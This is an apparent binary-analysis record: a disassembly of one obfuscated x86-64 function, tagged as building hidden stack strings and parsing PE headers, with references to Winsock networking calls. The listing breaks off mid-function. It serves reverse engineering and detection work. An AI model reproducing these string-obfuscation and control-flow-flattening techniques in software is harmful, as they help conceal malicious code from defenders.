Function at 0x1400e3fa0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x1401dc800]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov r15, rdx
mov qword [rbp + 0x68], rdx
xor esi, esi
mov dword [rbp - 0x40], esi
mov dword [rbp - 0x68], 0xb4b4ba4e
mov byte [rbp - 0x64], 4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x63], xmm0
mov qword [rbp - 0x53], rax
mov dword [rbp - 0x4b], eax
mov word [rbp - 0x47], ax
movabs r14, 0xf063159da106259c
movabs r12, 0xbd3a82e2978a35e4
movabs r13, 0x7dbbdc763a2018c
movzx r11d, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
movabs rdx, 0xdaaf628d99f41a2c
nop dword [rax + rax]
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400e4982
movzx edi, byte [rbp + rbx - 0x68]
movzx r10d, dil
cmp r8, rbx
ja 0x1400e4979
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400e4091
lea rcx, [rbx + rdx]
mov rax, rcx
and rax, rdi
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdi
sub r11b, 0x34
jmp 0x1400e40cb
je 0x1400e48f6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e4874
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e482e
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400e4803
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400e47a8
movzx r10d, dil
nop
cmp r9, rbx
ja 0x1400e4970
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400e40fa
lea rcx, [rbx + r14]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
jmp 0x1400e4130
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e4782
inc rax
cmp r8, rax
je 0x1400e474d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e4701
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400e46ed
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400e43de
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400e43c4
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e4392
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400e4368
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400e4349
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e432a
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400e4951
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400e4937
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400e4258
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400e4238
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400e421d
lea r8, [r9 + 5]
lea r9, [r8 + 3]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400e430b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400e42f1
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400e42d2
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400e42b8
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400e4286
lea r8, [r9 + 0x20]
lea r9, [r8 + 0xa]
jmp 0x1400e4140
lea rcx, [rbx + r12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3c
jmp 0x1400e4130
lea rcx, [rbx + r13]
movzx eax, cl
and al, dil
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
jmp 0x1400e40d0
movabs rcx, 0x527cf8ac2fb9cd34
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6c
movabs rdx, 0xdaaf628d99f41a2c
jmp 0x1400e4065
lea edx, [rbx - 0x78]
movzx eax, dl
and al, dil
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0xdaaf628d99f41a2c
inc r9
dec rbx
inc rbx
jmp 0x1400e4052
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x18
jmp 0x1400e4851
lea edx, [rbx - 0x30]
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400e489b
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x48
jmp 0x1400e48c9
lea edx, [rbx + 0x20]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400e491a
lea edx, [rbx + 0x48]
movzx eax, dl
and al, dil
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400e484e
lea edx, [rbx - 0x10]
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400e4725
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x28
movabs rdx, 0xdaaf628d99f41a2c
dec rbx
inc rbx
jmp 0x1400e4052
lea edx, [rbx + 0x40]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0xdaaf628d99f41a2c
inc r9
dec rbx
inc rbx
jmp 0x1400e4052
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x58
jmp 0x1400e47d0
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400e440f
movabs rdx, 0xdaaf628d99f41a2c
lea rcx, [rbx + rdx]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
jmp 0x1400e44b4
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400e4437
lea edx, [rbx + 0x38]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400e491a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e445f
movzx r10d, bl
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x58
jmp 0x1400e489f
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400e4482
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x28
jmp 0x1400e484e
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e44aa
lea edx, [rbx - 8]
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400e47d0
movabs rdx, 0xdaaf628d99f41a2c
lea rax, [r9 + r8]
cmp rax, 2
je 0x1400e46cc
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400e454f
movzx r10d, bl
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x64
cmp r8, 9
jae 0x1400e46b1
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400e461e
lea edx, [r10 + 0x18]
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0xdaaf628d99f41a2c
cmp r9, 0x42
jb 0x1400e46a4
sub r10b, 0x78
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
add r10b, dil
lea r11d, [r10*2 - 0x70]
jmp 0x1400e47d0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e4577
lea edx, [rbx - 0x2c]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400e47d0
inc rax
cmp r8, rax
jne 0x1400e45a2
lea ecx, [rbx + 0x2c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x34
inc r9
dec rbx
inc rbx
jmp 0x1400e4052
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e45ca
movzx r10d, bl
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 4
jmp 0x1400e4729
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e45f2
lea edx, [rbx - 0x74]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400e4851
lea rax, [r9 + 5]
movzx r10d, bl
cmp r8, rax
jne 0x1400e44e9
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x3c
jmp 0x1400e489f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e4652
add r10b, 0x70
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
sub r11b, 0x10
movzx eax, byte [rbp + rbx - 0x68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e4052
inc rax
cmp r8, rax
jne 0x1400e467a
lea edx, [r10 + 0x20]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400e489f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e4525
add r10b, 0x78
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
sub r11b, 0x48
jmp 0x1400e485b
mov byte [rbp + rbx - 0x68], r11b
inc rbx
jmp 0x1400e4052
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
add r11b, dil
jmp 0x1400e4729
movzx r10d, bl
lea edx, [r10 + 0x38]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400e489f
movabs rdx, 0x50b80392742ffcb4
mov ecx, 0xa
jmp 0x1400e4905
movabs rdx, 0xc5de2a0a70a6f6fc
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx r10d, bl
add r10b, 0xc
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x54
add r10b, dil
add r10b, r11b
mov byte [rbp + rbx - 0x68], r10b
jmp 0x1400e484e
movabs rcx, 0x107f64ef3cbec2a4
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7c
movabs rdx, 0xdaaf628d99f41a2c
dec rbx
inc rbx
jmp 0x1400e4052
movabs rdx, 0xa5c1dab8d4ee59f4
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400e47d0
movabs rcx, 0x3b0450826d1df144
add rcx, rbx
movzx eax, cl
and al, dil
mov edx, reloc.WS2_32.dll_select
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
movzx edi, r10b
lea edx, [rbx - 0x4c]
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rbx - 0x68], cl
movabs rdx, 0xdaaf628d99f41a2c
inc r9
dec rbx
inc rbx
jmp 0x1400e4052
movabs rcx, 0xd046c64c054d8894
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xc
dec rbx
inc rbx
jmp 0x1400e4052
movabs rcx, 0x65893c159d7d1fe4
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3c
add r8, r9
movabs rdx, 0xdaaf628d99f41a2c
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400e4052
movabs rdx, 0xfacbb1df35acb734
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6c
add r11b, dl
movzx edi, r10b
movzx r10d, bl
add r10b, 0x64
movzx eax, r10b
and al, dil
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
movzx eax, cl
mov byte [rbp + rbx - 0x68], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x70]
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rbx - 0x68], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
jmp 0x1400e491a
movabs rdx, 0x900e27a8cddc4e84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, rbx
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0xdaaf628d99f41a2c
movzx eax, byte [rbp + rbx - 0x68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e4052
sub bl, 0x24
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 4
jmp 0x1400e403e
sub bl, 0x7c
movzx eax, bl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1400e4027
lea rbx, [rbp + 0x1419528]
jmp 0x1400e4986
lea rbx, [rbp + 0xb5af54]
jmp 0x1400e4986
lea rbx, [rbp - 0x68]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x70]
call fcn.1400029f0
nop
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1400e49a0
mov rdx, rbx
lea rcx, [rbp + 0x70]
call fcn.140004460
nop
mov r9, qword [r15 + 0x10]
cmp r9, 3
jbe 0x1400e4a0e
lea r8, [r9 - 4]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rdx, r15
lea rcx, [rbp - 0x18]
call fcn.140004310
mov esi, reloc.WS2_32.dll_recv
mov dword [rbp - 0x40], esi
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x18]
call fcn.14005c310
movzx ebx, al
lea rcx, [rbp - 0x18]
call fcn.140002820
test bl, bl
jne 0x1400e4a1a
lea rdx, [rbp + 0x70]
mov rcx, r15
call fcn.1400030f0
jmp 0x1400e4a1a
lea rdx, [rbp + 0x70]
mov rcx, r15
call fcn.1400030f0
mov dword [rsp + 0x38], 0x3836302d
mov dword [rsp + 0x3c], 0x36253d2b
mov dword [rsp + 0x40], 0x2b2e6738
mov word [rsp + 0x44], 0x912c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x46], xmm0
mov dword [rsp + 0x56], eax
mov byte [rsp + 0x5a], al
movabs r14, 0x2d1260eae5e1b26a
movabs r13, 0xe15be4967d687c12
movabs r12, 0x873722c0b1a5173e
movzx edx, byte [rsp + 0x30]
nop
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400e5548
movzx r11d, byte [rsp + rbx + 0x38]
mov edi, r11d
cmp r8, rbx
ja 0x1400e553f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e4ac0
lea rcx, [rbx + r14]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
add dl, 0x1a
jmp 0x1400e4af9
je 0x1400e54d0
inc rax
cmp r8, rax
je 0x1400e5480
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e5433
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e5401
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400e53ba
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400e5536
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400e4b2c
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e4b60
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e53a2
inc rax
cmp r8, rax
je 0x1400e5380
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e5360
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e5346
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400e50ab
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e5090
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400e5067
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400e5045
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400e5029
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400e500d
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400e4fed
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400e4fd2
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400e4fb4
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400e4f8a
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e4b70
lea r8, [r9 + 2]
lea r9, [r8 + 3]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400e5516
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400e54fa
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400e4d56
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400e4d3a
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400e4d1d
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400e4f3f
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400e4ef9
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400e4ebc
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400e4e99
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400e4b70
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400e4e6b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400e4e4d
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400e4e33
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400e4e13
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400e4df3
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400e4dd6
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400e4db4
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400e4d8f
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400e4d74
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400e4b70
lea r8, [r9 + 8]
lea r9, [r8 + 0x200]
jmp 0x1400e4b70
lea edx, [r10 - 0x72]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400e4b60
lea edx, [r10 - 0x46]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x16
add dl, cl
jmp 0x1400e4b00
sub r10b, 0x1a
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x4a
add dl, r10b
jmp 0x1400e4a95
lea edx, [r10 - 0x70]
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400e53d3
sub r10b, 0x44
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x24
inc r9
dec rbx
inc rbx
jmp 0x1400e4a82
sub r10b, 0x18
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x58
dec rbx
inc rbx
jmp 0x1400e4a82
lea edx, [r10 + 0x14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400e5305
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400e5418
add r10b, 0x6c
movzx eax, r11b
and al, r10b
mov ecx, 6
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400e541b
lea edx, [r10 - 0x68]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x28
jmp 0x1400e5454
sub r10b, 0x3c
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x5c
add dl, r10b
jmp 0x1400e5496
sub r10b, 0x10
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e4a82
sub r10b, 0x22
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x12
mov byte [rsp + rbx + 0x38], dl
inc rbx
jmp 0x1400e4a82
lea edx, [r10 + 0xa]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x46
add dl, cl
cmp r9, 5
jb 0x1400e4eb0
lea edx, [r10 + 0x3c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x48]
jmp 0x1400e53d5
lea edx, [r10 + 0x36]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x7a
add dl, cl
cmp r8, 8
jae 0x1400e52eb
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400e521d
lea edx, [r10 - 0xc]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400e4ed1
lea edx, [r10 + 0x62]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x1400e5329
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400e514e
lea edx, [r10 + 0x42]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400e4f0e
add r10b, 0x2c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x34
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e4a82
add r10b, 0x58
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x68
add dl, r10b
jmp 0x1400e5496
lea edx, [r10 - 0x7c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400e5454
sub r10b, 0x50
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400e541b
sub r10b, 0x24
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 4
jmp 0x1400e5418
lea edx, [r10 + 8]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x38
add dl, cl
jmp 0x1400e5305
add r10b, 0x34
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x6c
dec rbx
inc rbx
jmp 0x1400e4a82
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400e4a82
lea edx, [r10 - 0x74]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400e53d3
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400e50c8
lea edx, [r10 + 0x6a]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
jmp 0x1400e4f4e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e50ff
add r10b, 0x64
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e4a82
inc rax
cmp r8, rax
jne 0x1400e5121
lea edx, [r10 + 0xc]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x54
jmp 0x1400e5454
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e4f57
sub r10b, 0x4c
movzx eax, r11b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400e5418
jne 0x1400e516b
lea edx, [r10 + 0x16]
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400e53d3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e5196
sub r10b, 0x42
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x32
dec rbx
inc rbx
jmp 0x1400e4a82
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e51bf
add r10b, 0x66
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400e5418
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e51e2
lea edx, [r10 + 0xe]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x62
jmp 0x1400e5454
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400e4f10
sub r10b, 0x4a
movzx eax, r11b
and al, r10b
mov ecx, 3
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e4a82
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e5250
sub r10b, 0x38
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x78
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e4a82
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e5273
lea edx, [r10 + 0x70]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x10
jmp 0x1400e5454
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e5295
lea edx, [r10 - 0x14]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x74
add dl, cl
jmp 0x1400e5305
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e52c3
sub r10b, 0x6c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0xc
inc r9
dec rbx
inc rbx
jmp 0x1400e4a82
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e4ed3
lea edx, [r10 + 0x68]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400e53d3
lea edx, [r10 + 0x10]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x70
add dl, cl
add dl, r11b
add r10b, 0x7a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x56
add r10b, r11b
add r10b, dl
mov byte [rsp + rbx + 0x38], r10b
jmp 0x1400e5418
lea edx, [r10 - 0x1c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, r11b
sub dl, 0x3c
jmp 0x1400e5454
lea edx, [r10 + 0x7e]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x72
